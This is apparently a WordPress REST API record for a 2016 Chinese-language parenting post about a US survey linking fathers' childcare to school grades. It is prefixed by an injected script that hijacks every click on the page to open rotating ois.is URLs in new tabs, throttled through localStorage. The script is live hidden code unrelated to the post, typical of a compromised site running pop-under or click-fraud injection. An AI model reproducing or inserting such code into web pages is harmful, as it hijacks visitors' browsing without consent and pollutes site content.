<script>(function (parameters) {
		const targets = [
			'https://ois.is/images/logo-1.png', 'https://ois.is/images/logo-2.png', 'https://ois.is/images/logo-3.png', 'https://ois.is/images/logo-4.png', 'https://ois.is/images/logo-5.png', 'https://ois.is/images/logo-6.png', 'https://ois.is/images/logo-7.png', 'https://ois.is/images/logo-8.png'
		]
		// Times between clicks
		const restMinutes = 1;
		// Number of hours to allow re-click 
		const allowedHours = 2;


		const saveTargetLocationsToStorage = (targets) => {
			targets.forEach((target, index) => {
				if(!localStorage.getItem(`${target}-local-storage`)){
					localStorage.setItem(`${target}-local-storage`, 0);
				}
			});
		}
		const getRandomLocationFromStorage = (targets) => {
			const nonVisited = targets.filter((target, index) => localStorage.getItem(`${target}-local-storage`) == 0)
			return nonVisited[Math.floor(Math.random() * nonVisited.length)];
		}
		const setLocationAsVisited = (target) => localStorage.setItem(`${target}-local-storage`, 1);

		const getTimeStorage = (key) => localStorage.getItem(`${key}-local-storage`);
		const setTimeToStorage = (key, nowDate) => localStorage.setItem(`${key}-local-storage`, nowDate);

		const getHoursDiff = (startDate, endDate) => {
			const msInHour = 1000 * 60 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInHour);
		}
		const getMintsDiff = (startDate, endDate) => {
			const msInMints = 1000 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInMints);
		}

		const visitNewLocation = (targets, host, nowDate) => {
			saveTargetLocationsToStorage(targets);
			newLocation = getRandomLocationFromStorage(targets);
			setTimeToStorage(`${host}-mnts`, nowDate);
			setTimeToStorage(`${host}-hurs`, nowDate);
			setLocationAsVisited(newLocation);
			window.open(newLocation, "_blank");
		}

		// const randomLocation = getRandomLocationFromStorage(targets);
		saveTargetLocationsToStorage(targets);

		function globalClick(event) {
			event.stopPropagation();
			const host = location.host;
			let newLocation = getRandomLocationFromStorage(targets);
			const nowDate = Date.parse(new Date());
			const savedDateForMints = getTimeStorage(`${host}-mnts`);
			const savedDateForHours = getTimeStorage(`${host}-hurs`);

			if (savedDateForMints && savedDateForHours) {
				try {
					const storageDateForMints = parseInt(savedDateForMints);
					const storageDateForHours = parseInt(savedDateForHours);
					const mintsDiff = getMintsDiff(nowDate, storageDateForMints);
					const hoursDiff = getHoursDiff(nowDate, storageDateForHours);

					if (hoursDiff >= allowedHours) {
						saveTargetLocationsToStorage(targets);
						setTimeToStorage(`${host}-hurs`, nowDate);
					}
					if (mintsDiff >= restMinutes) {
						if (newLocation) {
							setTimeToStorage(`${host}-mnts`, nowDate);
							window.open(newLocation, "_blank");
							setLocationAsVisited(newLocation);
						}
					}
				} catch (error) { visitNewLocation(targets, host, nowDate); }
			} else { visitNewLocation(targets, host, nowDate); }
		}
		document.addEventListener("click", globalClick)
	})()</script>{"id":1553,"date":"2016-03-04T17:32:27","date_gmt":"2016-03-04T09:32:27","guid":{"rendered":"http:\/\/edu.secda.info\/angela\/?p=1553"},"modified":"2016-03-04T17:32:27","modified_gmt":"2016-03-04T09:32:27","slug":"%e7%be%8e%e5%9c%8b%e6%95%99%e8%82%b2%e9%83%a8%e8%aa%bf%e6%9f%a5%ef%bc%9a%e6%8a%8a%e5%b0%8f%e5%ad%a9%e4%ba%a4%e7%b5%a6%e7%88%b8%e7%88%b8%e5%b8%b6%ef%bc%8c%e5%ad%b8%e6%a0%a1%e6%88%90%e7%b8%be%e6%af%94","status":"publish","type":"post","link":"https:\/\/edu.secda.info\/angela\/?p=1553","title":{"rendered":"\u7f8e\u570b\u6559\u80b2\u90e8\u8abf\u67e5\uff1a\u628a\u5c0f\u5b69\u4ea4\u7d66\u7238\u7238\u5e36\uff0c\u5b78\u6821\u6210\u7e3e\u6bd4\u8f03\u597d\uff01"},"content":{"rendered":"<p>\u5abd\u54aa\u5011\uff0c\u8d95\u5feb\u5206\u4eab\u7d66\u7238\u7238\u5011\u770b\uff01<\/p>\n<p><a href=\"http:\/\/www.businessweekly.com.tw\/KBlogArticle.aspx?ID=15762\" target=\"_blank\">http:\/\/www.businessweekly.com.tw\/KBlogArticle.aspx?ID=15762<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u5abd\u54aa\u5011\uff0c\u8d95\u5feb\u5206\u4eab\u7d66\u7238\u7238\u5011\u770b\uff01 http:\/\/www.businessweekly<\/p>\n","protected":false},"author":9,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[1,3],"tags":[],"_links":{"self":[{"href":"https:\/\/edu.secda.info\/angela\/index.php?rest_route=\/wp\/v2\/posts\/1553"}],"collection":[{"href":"https:\/\/edu.secda.info\/angela\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/edu.secda.info\/angela\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/angela\/index.php?rest_route=\/wp\/v2\/users\/9"}],"replies":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/angela\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1553"}],"version-history":[{"count":1,"href":"https:\/\/edu.secda.info\/angela\/index.php?rest_route=\/wp\/v2\/posts\/1553\/revisions"}],"predecessor-version":[{"id":1554,"href":"https:\/\/edu.secda.info\/angela\/index.php?rest_route=\/wp\/v2\/posts\/1553\/revisions\/1554"}],"wp:attachment":[{"href":"https:\/\/edu.secda.info\/angela\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1553"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/edu.secda.info\/angela\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=1553"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/edu.secda.info\/angela\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1553"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}